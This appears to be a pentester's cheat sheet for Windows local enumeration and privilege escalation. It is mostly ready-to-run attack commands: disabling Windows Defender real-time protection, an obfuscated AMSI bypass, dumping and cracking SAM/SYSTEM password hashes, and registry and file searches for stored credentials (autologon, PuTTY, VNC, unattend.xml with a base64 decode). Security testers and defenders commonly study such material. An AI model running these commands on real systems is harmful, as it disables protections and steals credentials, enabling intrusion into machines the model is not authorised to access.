Local Escalation and Enumeration#

Windows Defender#

# check status of Defender
PS C:\> Get-MpComputerStatus

# disable Real Time Monitoring
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true

Firewall#

netsh advfirewall show domain
netsh advfirewall show private
netsh advfirewall show public

AppLocker Enumeration#

• With the GPO
• HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2 (Keys: Appx, Dll, Exe, Msi and Script).

# List AppLocker rules
PS C:\> $a = Get-ApplockerPolicy -effective
PS C:\> $a.rulecollections

Powershell#

# Default powershell locations in a Windows system.
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
# Example of AMSI Bypass.
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

Default Writeable Folders#

• C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
• C:\Windows\System32\spool\drivers\color
• C:\Windows\Tasks
• C:\windows\tracing

SAM and SYSTEM files#

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Generate a hash file for John using pwdump or samdump2.

pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt

Then crack it with john -format=NT /root/sam.txt.

Search for file contents#

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Search for a file with a certain filename#

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
# cmd
where /R C:\ user.txt
where /R C:\ *.ini

Search the registry for key names and passwords#

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" 
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Read a value of a certain sub key#

REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList

Passwords in unattend.xml#

Location of the unattend.xml files.

C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Example content

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
    <AutoLogon>
     <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
     <Enabled>true</Enabled>
     <Username>Administrateur</Username>
    </AutoLogon>

    <UserAccounts>
     <LocalAccounts>
      <LocalAccount wcm:action="add">
       <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Group>administrators;users</Group>
       <Name>Administrateur</Name>
      </LocalAccount>
     </LocalAccounts>
    </UserAccounts>

Unattend credentials are stored in base64 and can be decoded manually with base64.

$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo="  | base64 -d 
SecretSecurePassword1234*

The Metasploit module post/windows/gather/enum_unattend looks for these files.

IIS Web config#

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Other files#

%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b

Extract patchs and updates#

wmic qfe

Architecture#

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

List all env variables#

set
Get-ChildItem Env: | ft Key,Value

List all drives#

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root